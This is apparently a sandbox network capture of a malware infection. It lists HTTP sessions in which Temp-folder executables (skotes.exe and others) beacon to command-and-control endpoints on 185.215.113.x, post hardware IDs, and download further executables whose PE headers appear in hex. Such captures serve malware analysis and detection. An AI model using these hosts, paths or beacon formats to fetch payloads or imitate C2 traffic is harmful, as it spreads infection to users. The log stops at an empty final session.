Oct 24, 2024 19:30:32.645972013 CEST	1236	IN	Data Raw: 96 b8 f2 f8 61 76 5f a4 53 d2 50 5b 97 98 24 9a c7 03 6b 90 1d 86 f7 5e 61 58 71 16 42 1d ce fd 4b da c7 f9 7d 7e 4b 8f c4 7a 91 e3 8b c7 31 97 67 4e 00 6c d2 34 f2 b4 14 4d 69 7d 46 95 1c 42 62 20 2c e2 5d 58 10 f8 60 92 00 3a 2a f9 c1 a4 d4 eb Data Ascii: av_SP[$k^aXqBK}~Kz1gNl4Mi}FBb ,]X`:*oSr_= e[(dff6Js0Q\|uY"ukb/".Go6QY%YRne {;ZKT(F>o\|v^Q<Oc/%ndIdW?ua
Oct 24, 2024 19:30:32.645983934 CEST	1236	IN	Data Raw: f2 b2 e7 32 91 8c 08 7c 1b b9 d8 8a 9f ef fc 22 f4 b0 33 05 4c fa 94 38 a2 ae 39 68 8c a4 0d 7f 7f d6 6c 7d 43 cf 5a 6c 4d 8f 65 a1 f7 e9 94 7b 28 b2 ae db 7c 0c dd b4 b6 cf 66 7b 65 e7 a6 c3 23 ed b4 55 78 9f 0c 24 a8 1c 1c dd 50 5e dc 6f 7a ac Data Ascii: 2\|"3L89hl}CZlMe{(\|f{e#Ux$P^ozIjnq':/n",b)_:H'5+>t?H#y&cVX'@H7_lMW(X?qRM_[;QKj[UqNV'pN`
Oct 24, 2024 19:30:32.645994902 CEST	60	IN	Data Raw: 56 e4 54 e8 5d 20 31 3e 6e 7c 56 b6 c9 5d 65 d2 a3 f8 49 cb 27 92 de 3f 43 c0 f7 d4 c0 b4 66 90 8d b3 a3 77 85 98 05 f5 61 d8 5c f6 45 5e 63 f2 cc 1b 99 b3 6b de d7 96 01 57 0f b7 Data Ascii: VT] 1>n\|V]eI'?Cfwa\E^ckW
Oct 24, 2024 19:30:32.654062033 CEST	1236	IN	Data Raw: ff a1 39 59 14 a6 e7 46 3f e4 fa c3 bf fd cd 5e 87 a1 0e 67 ae 2a 99 78 4f fc 0d 21 cd 25 d6 44 bd a6 e5 da 7a e3 75 37 f6 d8 e3 b1 16 92 12 54 53 f9 c0 63 65 a2 4e 9d 7d 62 58 ac 59 18 b5 a0 70 1e 78 89 f7 22 89 97 44 70 dc c5 60 06 46 69 42 e0 Data Ascii: 9YF?^g*xO!%Dzu7TSceN}bXYpx"Dp`FiBor#+ocy7O@31cM5P&'JJTx&`TYZ\f=K7s)Y"[ho,]pX`R_sv_E\|h6mw}cmsj;y
Oct 24, 2024 19:30:39.801738977 CEST	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 19:30:40.095283985 CEST	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 19:30:40.421143055 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:30:40 GMT Content-Type: application/octet-stream Content-Length: 1852928 Last-Modified: Thu, 24 Oct 2024 17:07:16 GMT Connection: keep-alive ETag: "671a7ec4-1c4600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 f0 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 6a 00 00 04 00 00 55 88 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$i@ jU@P%d% %(@.rsrc %8@.idata %8@ *%:@ffngccgeO<@atmmyeyli @.taggant0i"$@
Oct 24, 2024 19:30:42.358825922 CEST	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 24, 2024 19:30:42.723535061 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:30:42 GMT Content-Type: application/octet-stream Content-Length: 2780160 Last-Modified: Thu, 24 Oct 2024 16:45:44 GMT Connection: keep-alive ETag: "671a79b8-2a6c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 b8 bc 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +`Ui` @ @.rsrc`2@.idata 8@fekqellx :@rtvnkudg F@.taggant@"J*@
Oct 24, 2024 19:30:43.784452915 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:30:42 GMT Content-Type: application/octet-stream Content-Length: 2780160 Last-Modified: Thu, 24 Oct 2024 16:45:44 GMT Connection: keep-alive ETag: "671a79b8-2a6c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 b8 bc 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +`Ui` @ @.rsrc`2@.idata 8@fekqellx :@rtvnkudg F@.taggant@"J*@
Oct 24, 2024 19:30:43.785214901 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:30:42 GMT Content-Type: application/octet-stream Content-Length: 2780160 Last-Modified: Thu, 24 Oct 2024 16:45:44 GMT Connection: keep-alive ETag: "671a79b8-2a6c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 b8 bc 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +`Ui` @ @.rsrc`2@.idata 8@fekqellx :@rtvnkudg F@.taggant@"J*@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	50025	185.215.113.43	80	7664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:30:33.077219963 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 45 37 37 42 30 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B12E77B05B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 24, 2024 19:30:34.006105900 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:30:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	50029	34.107.221.82	80	7056	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:30:34.284539938 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 19:30:34.892585993 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 17:39:07 GMT Age: 85887 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	50033	185.215.113.43	80	7664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:30:35.667303085 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 19:30:36.578984022 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:30:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	50035	34.107.221.82	80	7056	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:30:36.139602900 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 24, 2024 19:30:36.748192072 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 23 Oct 2024 17:39:07 GMT Age: 85889 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 24, 2024 19:30:46.756772041 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	50036	34.107.221.82	80	7056	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:30:36.696415901 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 24, 2024 19:30:37.294681072 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 23 Oct 2024 18:32:13 GMT Age: 82704 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 24, 2024 19:30:47.303777933 CEST	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	50039	185.215.113.37	80	2316	C:\Users\user\AppData\Local\Temp\1001243001\353ab0ae6e.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:30:37.013725042 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 19:30:37.911346912 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:30:37 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 19:30:37.913583040 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDBKJJKEBGHIDGCBKJJD Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 4b 4a 4a 4b 45 42 47 48 49 44 47 43 42 4b 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 38 35 38 38 44 45 43 36 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 4b 4a 4a 4b 45 42 47 48 49 44 47 43 42 4b 4a 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 42 4b 4a 4a 4b 45 42 47 48 49 44 47 43 42 4b 4a 4a 44 2d 2d 0d 0a Data Ascii: ------JDBKJJKEBGHIDGCBKJJDContent-Disposition: form-data; name="hwid"A48588DEC639786254513------JDBKJJKEBGHIDGCBKJJDContent-Disposition: form-data; name="build"doma------JDBKJJKEBGHIDGCBKJJD--
Oct 24, 2024 19:30:38.196821928 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:30:38 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	50040	185.215.113.43	80	7664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:30:38.192826986 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 45 37 37 42 30 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B12E77B05B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 24, 2024 19:30:39.113169909 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:30:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	50041	185.215.113.43	80	7664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:30:40.737127066 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 19:30:41.646753073 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:30:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	50042	185.215.113.43	80	7664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:30:43.794663906 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 45 37 37 42 30 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B12E77B05B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 24, 2024 19:30:44.695512056 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:30:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	50043	185.215.113.43	80	7664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:30:46.468271971 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 24, 2024 19:30:47.378838062 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:30:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	50044	185.215.113.37	80	7152	C:\Users\user\AppData\Local\Temp\SOZIL3CYM3GR68KV3Z4.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:30:47.914272070 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 19:30:48.828361988 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:30:48 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 19:30:48.948707104 CEST	411	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCAKFBGCBFHIJKECGIIJ Host: 185.215.113.37 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 41 4b 46 42 47 43 42 46 48 49 4a 4b 45 43 47 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 34 38 35 38 38 44 45 43 36 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 4b 46 42 47 43 42 46 48 49 4a 4b 45 43 47 49 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 41 4b 46 42 47 43 42 46 48 49 4a 4b 45 43 47 49 49 4a 2d 2d 0d 0a Data Ascii: ------HCAKFBGCBFHIJKECGIIJContent-Disposition: form-data; name="hwid"A48588DEC639786254513------HCAKFBGCBFHIJKECGIIJContent-Disposition: form-data; name="build"doma------HCAKFBGCBFHIJKECGIIJ--
Oct 24, 2024 19:30:49.237493038 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 17:30:49 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	50045	185.215.113.43	80	7664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 19:30:48.948276043 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 31 32 45 37 37 42 30 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B12E77B05B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Oct 24, 2024 19:30:49.861390114 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 24 Oct 2024 17:30:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	50046	185.215.113.43	80	7664	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
